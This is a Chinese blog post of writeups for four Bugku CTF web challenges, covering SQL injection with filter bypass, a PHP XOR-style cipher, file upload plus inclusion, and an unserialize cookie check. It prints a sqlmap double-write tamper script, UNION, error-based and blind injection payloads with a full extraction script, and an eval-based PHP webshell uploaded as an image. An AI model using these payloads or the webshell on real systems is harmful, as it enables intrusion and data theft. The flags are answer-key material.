刘功瑞的博客

有一天你突然惊醒,发现这一切,都只不过是一场梦。

BUGKU CTF WEB Writeup 4

多次

题目:

http://123.206.87.240:9004

本题有2个flag
flag均为小写
flag格式 flag{}

解题:


打开题目后跳转到http://123.206.87.240:9004/1ndex.php?id=1,修改id值等于5的时候,页面提示 You can do some SQL injection in here. 确定是sql注入,那我们就测试一下。

加一个单引号

http://123.206.87.240:9004/1ndex.php?id=5%27

发现页面返回error,应该是sql语句报错了。

尝试后面加上#注释

http://123.206.87.240:9004/1ndex.php?id=5%27%23

页面正常

然后尝试

http://123.206.87.240:9004/1ndex.php?id=5%27%20or%201=1%23

发现报错,猜测是关键字被过滤

接下来我们用脚本跑一下,看看都被过滤了哪些关键字

# -*- coding:utf-8 -*-
import requests

sql = "http://123.206.87.240:9004/1ndex.php?id=1'^(length('%s')!=0)^'"
txt = "from|into|load_file|0x|outfile|by|substr|base|echo|hex|mid|like|char|union|or|select|greatest|%00|_|\'|admin|limit|=_| |in|<|>|-|user|\.|\(\)|#|and|if|database|where|concat|insert|having|sleep"
arr = txt.split('|')
for i in arr:
    response = requests.get(sql%i)
    if len(response.text)!=430:
        print i

脚本中的关键字可以自己设置,我这个不全,跑完得到结果过滤了 

or

union

select

and

然后我们尝试绕过,测试发现双写or为oorr可以绕过

http://123.206.87.240:9004/1ndex.php?id=5%27%20oorr%201=1%23

使用sqlmap跑一下,不过sqlmap提供的双写绕过tamper有点问题,我们修改一下,代码如下:

#!/usr/bin/env python

"""
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
See the file 'doc/COPYING' for copying permission
"""

import random
import re

from lib.core.common import singleTimeWarnMessage
from lib.core.enums import PRIORITY

__priority__ = PRIORITY.NORMAL

def tamper(payload, **kwargs):
    """
    Replaces predefined SQL keywords with representations
    suitable for replacement (e.g. .replace("SELECT", "")) filters

    Notes:
        * Useful to bypass very weak custom filters

    >>> random.seed(0)
    >>> tamper('1 UNION SELECT 2--')
    '1 UNIOUNIONN SELESELECTCT 2--'
    """

    keywords = ("UNION", "SELECT", "OR","AND")
    retVal = payload

    warnMsg = "currently only couple of keywords are being processed %s. " % str(keywords)
    warnMsg += "You can set it manually according to your needs"
    singleTimeWarnMessage(warnMsg)

    if payload:
        for keyword in keywords:
            _ = random.randint(1, len(keyword) - 1)
            #retVal = re.sub(r"(?i)\b%s\b" % keyword, "%s%s%s" % (keyword[:_], keyword, keyword[_:]), retVal)
            retVal = re.sub(r"%s" % keyword, "%s%s%s" % (keyword[:_], keyword, keyword[_:]), retVal)
    print retVal
    return retVal

其中的

keywords = ("UNION", "SELECT", "OR","AND")

可以自己增加关键字,然后使用命令

python ./sqlmap.py -r 1.txt --tamper c-shuangxie.py --current-db

1.txt是抓到的请求包,c-shuangxie.py是我们修改后的双写绕过脚本,执行之后得到库名web1002-1

继续执行

python ./sqlmap.py -r 1.txt --tamper c-shuangxie.py -D web1002-1 --tables

得到表flag1,hint

python ./sqlmap.py -r 1.txt --tamper c-shuangxie.py -D web1002-1 -T flag1 --dump

得到

+----------------------+-----------------+

| flag1                         | address             |

+----------------------+-----------------+

| usOwycTju+FTUUzXosjr | ./Once_More.php |

+----------------------+-----------------+

访问Once_More.php,发现又是一个sql注入页面

这个直接用sqlmap就能跑出结果

python sqlmap.py -r 1.txt --tables

python sqlmap.py -r 1.txt -T flag2 --dump

最后得到flag{Bugku-sql_6s-2i-4t-bug}

注意题目说flag全部小写,改为小写后

flag{bugku-sql_6s-2i-4t-bug}

第二种解法,手工注入:

http://123.206.87.240:9004/1ndex.php?id=1%27%20anandd%201=2%20ununionion%20seselectlect%201,2%23
结果2,说明有两个字段
?id=1%27%20anandd%201=2%20ununionion%20seselectlect%201,database()%23

 web1002-1
注意information里面有or,要双写过滤?id=-1' ununionion seselectlect 1, group_concat(table_name) from infoorrmation_schema.tables where table_schema=database() #

页面结果
flag1,hint
?id=-1' ununionion seselectlect 1, group_concat(column_name) from infoorrmation_schema.columns where table_schema=database() anandd table_name='flag1' %23页面结果
flag1,address
?id=-1' ununionion seselectlect 1, group_concat(flag1) from flag1 %23
usOwycTju+FTUUzXosjr
?id=-1' ununionion seselectlect 1, group_concat(address) from flag1 %23
./Once_More.php
# 查表
http://123.206.87.240:9004/Once_More.php?id=1' and updatexml(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema=database()),'~'),3) %23
# 结果Nobody!XPATH syntax error: '~class,flag2~'
# 查字段
?id=1' and updatexml(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='flag2'),'~'),3) %23
# 结果Nobody!XPATH syntax error: '~flag2,address~'
# 查数据
?id=1' and updatexml(1,concat('~',(select flag2 from flag2),'~'),3) %23
# 结果Nobody!XPATH syntax error: '~flag{Bugku-sql_6s-2i-4t-bug}~'

或者使用盲注

import requests


def length_schema():
    for x in range(1, 20):
        url = 'http://123.206.87.240:9004/Once_More.php?id=1%27and%20length(database())=' + str(x) + '%23'
        s = requests.get(url)
        if "Hello" in s.text:
            print 'schema_length is :' + str(x)
            global a
            a = int(x)
            break


def schema_name():
    x = 0
    name = ''
    while x < a:
        x = x + 1
        temp = 'abcdefghijklmnopqrstuvwxyz0123456789!@$%^&*()_+=-|}{:?><[];,.`~'
        for i in temp:
            url = 'http://123.206.87.240:9004/Once_More.php?id=1%27and%20mid(database(),' + str(x) + ',1)=%27' + str(
                i) + '%27%23'
            s = requests.get(url)
            if "Hello" in s.text:
                name = name + str(i)

    print 'sechma_name is :' + name
    global schema_name
    schema_name = name


def all():
    temp = 'abcdefghijklmnopqrstuvwxyz0123456789!@$%^&*()_+=-|}{:?><[];,.`~'
    temp_data = 'abcdefghijklmnopqrstuvwxyz0123456789!@$%^&*()_+=-|}{:?><[];,.`~ABCDEFGHIJKLMNOPQRSTUVWXYZ'
    for x in xrange(0, 20):
        table_name = ''
        for y in xrange(1, 20):
            key = 0
            for i in temp:
                url = 'http://123.206.87.240:9004/Once_More.php?id=1%27and%20ascii(mid((select%20table_name%20from%20information_schema.tables%20where%20table_schema=%27' + schema_name + '%27%20limit%20' + str(
                    x) + ',1),' + str(y) + ',1))=ascii(\'' + str(i) + '\')%23'
                s = requests.get(url)
                if "Hello" in s.text:
                    key = 1
                    table_name = table_name + str(i)
            if key == 0:
                break
        if table_name == '':
            break
        print 'one of tables is:' + table_name
        for p in xrange(0, 20):
            column_name = ''
            for q in xrange(1, 20):
                key = 0
                for i in temp:
                    url_columns = 'http://123.206.87.240:9004/Once_More.php?id=1%27and%20ascii(mid((select%20column_name%20from%20information_schema.columns%20where%20table_schema=%27' + schema_name + '%27%20and%20table_name=%27' + table_name + '%27limit%20' + str(
                        p) + ',1),' + str(q) + ',1))=ascii(\'' + str(i) + '\')%23'
                    s = requests.get(url_columns)
                    if "Hello" in s.text:
                        key = 1
                        column_name = column_name + str(i)
                if key == 0:
                    break
            if column_name == '':
                break
            print 'a column name of ' + table_name + ' is ' + column_name
            for y in xrange(0, 10):
                data = ''
                for z in xrange(1, 20):
                    key = 0
                    for i in temp_data:
                        url_data = 'http://123.206.87.240:9004/Once_More.php?id=1%27and%20ascii(mid((select%20' + column_name + '%20from%20`' + schema_name + '`.' + table_name + '%20limit%20' + str(
                            y) + ',1),' + str(z) + ',1))=ascii(\'' + str(i) + '\')%23'
                        s = requests.get(url_data)
                        if "Hello" in s.text:
                            data = data + str(i)
                            key = 1
                    if key == 0:
                        break
                if data == '':
                    break
                print 'one data of ' + schema_name + '.' + table_name + '\'s ' + column_name + ' is ' + data


def main():
    length_schema()
    schema_name()
    all()


if __name__ == '__main__':
    main()


PHP_encrypt_1(ISCCCTF)

题目:

fR4aHWwuFCYYVydFRxMqHhhCKBseH1dbFygrRxIWJ1UYFhotFjA=

有个附件,附件内源码:

<?php
function encrypt($data,$key)
{
    $key = md5('ISCC');
    $x = 0;
    $len = strlen($data);
    $klen = strlen($key);
    for ($i=0; $i < $len; $i++) { 
        if ($x == $klen)
        {
            $x = 0;
        }
        $char .= $key[$x];
        $x+=1;
    }
    for ($i=0; $i < $len; $i++) {
        $str .= chr((ord($data[$i]) + ord($char[$i])) % 128);
    }
    return base64_encode($str);
}
?>

解题:

一道crypto题型,不应该出现在web中,解题代码:

<?php
function encrypt($data,$key)
{
    $key = md5('ISCC');
    $x = 0;
    $len = strlen($data);
    $klen = strlen($key);
    for ($i=0; $i < $len; $i++) { 
        if ($x == $klen)
        {
            $x = 0;
        }
        $char .= $key[$x];
        $x+=1;
    }
    for ($i=0; $i < $len; $i++) {
        $str .= chr((ord($data[$i]) + ord($char[$i])) % 128);
    }
    return base64_encode($str);
}

$s = 'fR4aHWwuFCYYVydFRxMqHhhCKBseH1dbFygrRxIWJ1UYFhotFjA=';
$s = base64_decode($s);
$len = strlen($s);
$key = md5('ISCC');
$x = 0;
$klen = strlen($key);
for ($i=0; $i < $len; $i++) { 
    if ($x == $klen)
    {
        $x = 0;
    }
    $char .= $key[$x];
    $x+=1;
}
for ($i=0; $i < $len; $i++) {
    $r = 0;
    if(ord($s[$i])-ord($char[$i])<0){
        $r = ord($s[$i]) + 128 - ord($char[$i]);
    }else{
        $r = ord($s[$i])-ord($char[$i]);
    }
    echo chr($r);
}

?>

Flag:{asdqwdfasfdawfefqwdqwdadwqadawd}



文件包含2

题目:

http://123.206.31.85:49166/
flag格式:SKCTF{xxxxxxxxxxxxxxxx}
hint:文件包含

解题:

打开后地址为http://123.206.31.85:49166/index.php?file=hello.php,看到file=hello.php,估计是文件包含漏洞,右键查看源代码,发现提示了upload.php,访问upload.php可以上传图片,结合文件包含,我们可以以图片的后缀名,传一个一句话木马上去

上传一个shell.jpg

<?php 
echo 1111111111;
?>

访问返回的文件路径,发现<?php ?>被替换成了 _ echo 1111111111; _

那我们就尝试另一种php标签的写法

<script language="php">
@eval($_POST[0]);

</script>

上传上去后,得到图片地址,使用文件包含这个图片

http://123.206.31.85:49166/index.php?file=upload/201910110603238853.jpg

使用hackbar发送post请求,0=system('ls'); 可以看到有this_is_th3_F14g_154f65sd4g35f4d6f43.txt文件,访问得到flag。

SKCTF{uP104D_1nclud3_426fh8_is_Fun}


flag.php

题目:

地址:http://123.206.87.240:8002/flagphp/
点了login咋没反应
提示:hint


解题:

根据题目提示hint,加上参数http://123.206.87.240:8002/flagphp/?hint=1,得到源码:

<?php 
error_reporting(0); 
include_once("flag.php"); 
$cookie = $_COOKIE['ISecer']; 
if(isset($_GET['hint'])){ 
    show_source(__FILE__); 
} 
elseif (unserialize($cookie) === "$KEY") 
{    
    echo "$flag"; 
} 
else { 
?> 
<html> 
<head> 
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> 
<title>Login</title> 
<link rel="stylesheet" href="admin.css" type="text/css"> 
</head> 
<body> 
<br> 
<div class="container" align="center"> 
  <form method="POST" action="#"> 
    <p><input name="user" type="text" placeholder="Username"></p> 
    <p><input name="password" type="password" placeholder="Password"></p> 
    <p><input value="Login" type="button"/></p> 
  </form> 
</div> 
</body> 
</html> 

<?php 
} 
$KEY='ISecer:www.isecer.com'; 
?>
elseif (unserialize($cookie) === "$KEY")

这个判断的时候$KEY还未复制,也就是说unserialize($cookie)应该等于空字符串"",计算一下

<?php
echo serialize("");
?>

得到结果

s:0:"";

设置document.cookie='ISecer=s:0:"";'

重新访问http://123.206.87.240:8002/flagphp/得到flag。

flag{unserialize_by_virink}


发表评论:

Powered By Z-BlogPHP 1.5.2 Zero

Copyright www.liugongrui.com.All Rights Reserved.